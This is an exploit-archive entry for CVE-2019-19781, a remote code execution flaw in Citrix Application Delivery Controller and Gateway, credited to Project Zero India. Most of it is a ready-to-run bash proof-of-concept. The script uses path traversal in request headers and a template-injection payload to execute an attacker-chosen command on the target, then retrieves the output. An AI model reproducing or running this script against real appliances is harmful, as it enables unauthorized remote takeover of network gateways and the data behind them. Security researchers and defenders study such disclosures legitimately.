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Citrix Application Delivery Controller / Gateway Remote Code Execution

Citrix Application Delivery Controller / Gateway Remote Code Execution
Posted Jan 11, 2020
Authored by Project Zero India

Citrix Application Delivery Controller and Citrix Gateway remote code execution proof of concept exploit.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2019-19781
MD5 | d66a21078f9eb16928f3695e481e9298

Citrix Application Delivery Controller / Gateway Remote Code Execution

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#!/bin/bash
# Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781
# Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'uname -a'
# Release Date : 11/01/2020
# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia
echo "=================================================================================
___ _ _ ____ ___ _ _
| _ \ _ _ ___ (_) ___ __ | |_ |_ / ___ _ _ ___ |_ _| _ _ __| |(_) __ _
| _/| '_|/ _ \ | |/ -_)/ _|| _| / / / -_)| '_|/ _ \ | | | ' \ / _' || |/ _' |
|_| |_| \___/_/ |\___|\__| \__| /___|\___||_| \___/ |___||_||_|\__,_||_|\__,_|
|__/ CVE-2019-19781
================================================================================="
##############################
if [ -z "$1" ];
then
echo -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\n'
exit;
fi
filenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);
curl -s -k "https://$1/vpn/../vpns/portal/scripts/newbm.pl" -d "url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb" -H "NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is
echo -ne "\n" ;curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -s -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is
echo -ne "Command Output :\n"
curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is

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